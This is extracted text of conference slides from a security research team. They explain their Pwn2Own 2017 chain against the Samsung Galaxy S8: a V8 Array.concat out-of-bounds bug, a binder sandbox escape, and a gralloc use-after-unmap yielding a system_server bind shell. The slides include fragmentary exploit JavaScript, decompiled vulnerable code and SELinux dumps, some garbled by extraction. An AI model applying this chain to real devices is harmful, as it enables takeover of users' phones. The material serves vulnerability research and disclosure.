Attacks and analysis of the Samsung S8 from Mobile PWN2OWN
Jianjun Dai(@Jioun_dai)Guang Gong(@oldfresher)@360 Alpha Team
About Us
• Alpha Team @360 Security• 100+ Android vulnerabilities(Google Qualcomm etc)• Won the highest reward in the history of the ASR
program.• 5 Pwn contest winner
– Pwn2Own Mobile 2015( Nexus 6) – Pwn0Rama 2016 (Nexus 6p)– Pwn2Own 2016(Chrome)– PwnFest 2016(Pixel)– Pwn2Own Mobile 2017(Galaxy S8)
How we pwned Samsung Galaxy S8 running Android Nougat
Two bugs forms the complete exploit chain• One V8 bug to compromise the renderer• One system_server bug to escape sandbox and
allows app install
Agenda
• Exploitation of V8 engine• Introduction a way to escape sandbox• Exploitation of System_server• Conclusion
Exploitation of V8 engine
• Introduction Samsung Internet Browser• Introduction and analyze the Chain of Bugs #1
- CVE-2017-5030• Exploit CVE-2017-5030
Samsung Internet Browser
• Built-in browser for Samsung Galaxy S8• Based on Chromium source• Hereinafter Sbrowser
CVE-2017-5030 – Chain of Bugs #1
• Nday, first reported by Brendon Tiszka• Found by us with 360 Android vul scanner• Incredible, V8 in Sbrowser is not latest, even the
day of contest
360 VulScanner
http://shouji.360.cn/vulscanner.html
CVE-2017-5030 – Chain of Bugs #1
• Array OOB Access Bug in V8 Array.concat• in Function IterateElements
Vulnerable Code
switch (array->GetElementsKind()) {case FAST_SMI_ELEMENTS:case FAST_ELEMENTS:case FAST_HOLEY_SMI_ELEMENTS:case FAST_HOLEY_ELEMENTS: {// Run through the elements FixedArray and use HasElement and GetElement// to check the prototype for missing elements.Handle elements(FixedArray::cast(array->elements()));int fast_length = static_cast(length);DCHECK(fast_length length());FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {Handle element_value(elements->get(j), isolate); //-----> OOB Accessif (!element_value->IsTheHole()) {
if (!visitor->visit(j, element_value)) return false;} else {
Maybe maybe = JSReceiver::HasElement(array, j);if (!maybe.IsJust()) return false;if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't// have the correct receiver.ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, element_value,JSReceiver::GetElement(isolate, array, j), false);if (!visitor->visit(j, element_value)) return false;} //-----> trigger callback
}});break;
}
Trigger itFunction gc(){
var arr = new Array;for(var i=0;i
Patch for CVE-2017-5030
Exploit CVE-2017-5030
• Control the OOB Memory• Leak Fake ArrayBuffer• Arbitrary Memory R/W• Execute Shellcode
Control the OOB Memory
function evil_callback(){evil_callback.myarr.length=1;if(evil_callback.phase==0){
global[0]=new ArrayBuffer(magic_size);global[0][0]={};for(var i=1;i
Control the OOB Memory
Control the OOB Memory
Leak Faked ArrayBuffer
function evil_callback(){evil_callback.myarr.length=1;if(evil_callback.phase==0){
…}else if(evil_callback.phase==1){
//heap fengshuiglobal[0]=magic_arr.push(evil_callback.backingstore)
……scavenge();return 0.1;
}
• Triggered again• Concat function wrongly treat it as an object and
returns it in the result array
Leak Faked ArrayBuffer
Arbitrary Memory R/W
• Construct ArrayBuffer in controlled double array• Modify ArrayBuffer’s backing_store to any address
in double array • Read and Write in ArrayBuffer->backing_store
ArrayBuffer map propeties elements bytelength backing_store …
Execute Shellcode
var huge_str = "eval('');";for(var i=0;i
Escape Sandbox
• Possible Ways for Escaping
• Binder call with Parcelable Object
Possible Ways for Escaping
• Browser IPC ------ difficult, magical vul need• System Services(Binder Call)
• Serializable (CVE-2015-3825, etc)• Parcelable
• Kernel(System Call) ------- difficult, especially Project Treble
Binder call with Parcelable Object
• Restriction of SeLinux imposed on Browser
• An ingenious way to bypass
Restriction of SeLinux imposed on Browser
• Browser Processes
• Isolated_app Domain
allow isolated_app activity_service:service_manager find;allow isolated_app display_service:service_manager find;allow isolated_app webviewupdate_service:service_manager find;
neverallow isolated_app {service_manager_type-activity_service-display_service-webviewupdate_service
}:service_manager find;
system/sepolicy /isolated_app.te
Restriction of SeLinux imposed on Browser
• Getting System ServicesActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
Get System Services in the Domain isolated_app Retuened resultgetSystemService(LOCATION_SERVICE) nullgetSystemService(...) nullgetSystemService(ACTIVITY_SERVICE) ActivityManagergetSystemService(DISPLAY_SERVICE) DisplayManager
A few services like activity_service can be got in sbrowser sandboxed process
Restriction of SeLinux imposed on Browserpublic final int startActivity(IApplicationThread caller, String callingPackage,Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode,int startFlags, ProfilerInfo profilerInfo, Bundle bOptions) {
return startActivityAsUser(caller, callingPackage, intent, resolvedType, resultTo,resultWho, requestCode, startFlags, profilerInfo, bOptions,UserHandle.getCallingUserId());
}
public final int startActivityAsUser(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions, int userId){
enforceNotIsolatedCaller("startActivity");userId = mUserController.handleIncomingUser(Binder.getCallingPid(), Binder.getCallingUid(), userId, false, ALLOW_FULL_ONLY, "startActivity", null);
// TODO: Switch to user app stacks here.return mActivityStarter.startActivityMayWait(caller, -1, callingPackage, intent,
resolvedType, null, null, resultTo, resultWho, requestCode, startFlags,profilerInfo, null, null, bOptions, false, userId, null, null);
}
void enforceNotIsolatedCaller(String caller) {if (UserHandle.isIsolated(Binder.getCallingUid())) {
throw new SecurityException("Isolated process not allowed to call " + caller);}
}
An ingenious way
About 600 classes implement the interface Parcelable, the member methodcreateFromParcel of all these classes can be called from sbrowser’s sandbox using binder call
public interface Parcelable {…public void writeToParcel(Parcel dest, intflags);public interface Creator {public T createFromParcel(Parcel source);public T[] newArray(int size);…}
An ingenious way
A way to reach system_server without calling function enforceNotIsolatedCaller was found in ActivityManagerNative. onTransact, that is remote transact by Binder call case CONVERT_TO_TRANSLUCENT_TRANSACTION: {
data.enforceInterface(IActivityManager.descriptor);IBinder token = data.readStrongBinder();final Bundle bundle;if (data.readInt() == 0) {
bundle = null;} else {
bundle = data.readBundle();}final ActivityOptions options = ActivityOptions.fromBundle(bundle);boolean converted = convertToTranslucent(token, options);reply.writeNoException();reply.writeInt(converted ? 1 : 0);return true;
}
An ingenious waypublic static ActivityOptions fromBundle(Bundle bOptions) {
return bOptions != null ? new ActivityOptions(bOptions) : null;}
public ActivityOptions(Bundle opts) {opts.setDefusable(true);mPackageName = opts.getString(KEY_PACKAGE_NAME);try {
mUsageTimeReport = opts.getParcelable(KEY_USAGE_TIME_REPORT);} catch (RuntimeException e) {
Slog.w(TAG, e);}mLaunchBounds = opts.getParcelable(KEY_LAUNCH_BOUNDS);mAnimationType = opts.getInt(KEY_ANIM_TYPE);switch (mAnimationType) {
public final class Bundle extends BaseBundle implements Cloneable, Parcelable {…public void putParcelable(@Nullable String key, @Nullable Parcelable value) {…}public void putSerializable(@Nullable String key, @Nullable Serializable value) {…}…public T getParcelable(@Nullable String key) {…}public Serializable getSerializable(@Nullable String key) {…}…
Exploitation of System_Server
• Analyze the bug, Chain of Bugs #2
• Exploit the bug
Analyze the bug
Vulnerable
Analyze the bug
A Use-After-Unmap in grallocMap(…) of gralloc.exynos5.so
Analyze the bug__int64 __fastcall grallocMap(__int64 a1, private_handle_t *privhandle){
private_handle_t *privhandle_1; // [email protected]_1 = privhandle;v3 = a1;if ( privhandle->flags & 0x8004000 ) { //------------> please note, the following threeaddress will not be
cleared if the flags are set carefully.privhandle->base1 = 0LL;privhandle->base2 = 0LL;privhandle->base = 0LL;
}...v17 =mmap(0LL,(signed int)privhandle_1->size1, 3LL, 1LL,(unsigned int)privhandle_1->fd, 0LL);if ( v17 == -1 ){ ......}else{
…fd1 = *(_QWORD *)&privhandle_1->fd1;if ( fd1 & 0x80000000 ){
tmp = (fd1 >> 32) & 0xFFFFFFFF;…
}…if ( tmp & 0x80000000 ){
result = 0LL;}else if ( privhandle_1->format == 0x121 ) { //---------->by setting
privhandle_1->format to 0x121 the function will be returned successfully, left privhandle_1->base2 unmodified, still controllable by sandboxed browser process.
result = 0LL;}else{
privhandle_1->base2 = (void *)mmap(0LL, length, 3LL, 1LL, tmp, 0LL);...
} }
return result;}
Analyze the bugint __fastcall grallocUnmap(private_handle_t *phandle){
private_handle_t *handle; // x19@1…handle = phandle;v2 = *(_QWORD *)&phandle->format;length = 0LL;if ( (signed int)v2 stride / 2 + 7) & 0xFFFFFFF8) * (signed __int64)(signed int)phandle->heigth + 256;
LODWORD(v4) = munmap(phandle->base2, 0x40uLL); //-------------> we can unmap any page by this line...handle->base2 = 0LL;break;
case 0x125:...default:
break;}
}v10 = handle->base;if ( v10 ){
LODWORD(v10) = munmap(v10, (signed int)handle->size1);...
}return (signed int)v10;
}
Analyze the bug
To trigger the aforementioned Use-After-Unmap bug
Exploit the bug
• Introduce some object structure in System_Server
• Control virtual function pointer• Netcat bind shell
Object Structure in System_Serverpublic class GraphicBuffer implements Parcelable {
…public GraphicBuffer createFromParcel(Parcel in) {…}
}Binder Call Renderer Process
class RefBase{public:void incStrong(const void* id) const;void decStrong(const void* id) const;void forceIncStrong(const void* id) const;...virtual void onFirstRef();virtual void onLastStrongRef(const void* id); //--->to be controlledvirtual bool onIncStrongAttempted(uint32_t flags, const void* id);virtual void onLastWeakRef(const void* id); ...};
class GraphicBuffer: public ANativeObjectBase< ANativeWindowBuffer, GraphicBuffer, RefBase >,
public Flattenable
Inherit
Control Virtual Function Pointer
Bundle
GraphicBuffer
gadget gadget …
System_server• onLastStrongRef
memory1 Function code
System_server• onLastStrongRef
memory2 Shellcode
Parse Bundle
Netcat bind shell
system_server.te
dreamqltesq:/data/local/tmp # supolicy --dumpav sepolicy | grep system_server | grep exec[AV] 2246: ALLOW system_server-->logcat_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 2447: ALLOW system_server-->gpu_device (chr_file) [append execute write ioctl getattr read lock open][AV] 3037: ALLOW system_server-->dalvikcache_data_file (file) [execute][AV] 3726: ALLOW system_server-->shell_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 4187: ALLOW system_server-->dumpsys_exec (file) [execute execute_no_trans][AV] 5141: ALLOW system_server-->toolbox_exec (file) [execute ioctl getattr read lock execute_no_trans open]
130|dreamqltesq:/data/local/tmp # supolicy --dumpav sepolicypixel | grep system_server | grep exec[AV] 660: ALLOW system_server-->system_file (file) [execute getattr execute_no_trans][AV] 1814: ALLOW system_server-->zygote_exec (file) [ioctl getattr read lock open][AV] 2493: ALLOW system_server-->toolbox_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 4023: ALLOW system_server-->logcat_exec (file) [execute ioctl getattr read lock execute_no_trans open][AV] 6263: ALLOW system_server-->dalvikcache_data_file (file) [execute]dreamqltesq:/data/local/tmp # supolicy --dumpav sep | grep system_server | grep exec
Pixel sepolicy of system_server
Galaxy s8 sepolicy of system_server
• Weakness SeLinux Policy
neverallow system_server self:process execmem;
avoidlots ofROPs
Netcat bind shell
• Execute system
uid=1000(system) gid=1000(system)groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1032(package_info),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock)context=u:r:system_server:s0
• Start with a V8 OOB Access bug, by info leak and fake ArrayBuffer object, get Arbitrary Memory R/W, and gain control of renderer process in Samsung browser
• Use an Use-After-Unmap system_server vulnerability to escape sandbox. Sending bundle objects to system_server which are controlled by renderer process, and gain code execute in system server.
• Samsung browser should keep all the other components updated to the latest, such as V8 engine
• The sepolicy of system_server in S8 need to be strengthened
Conclusion
Thanks
Q & A
Top Related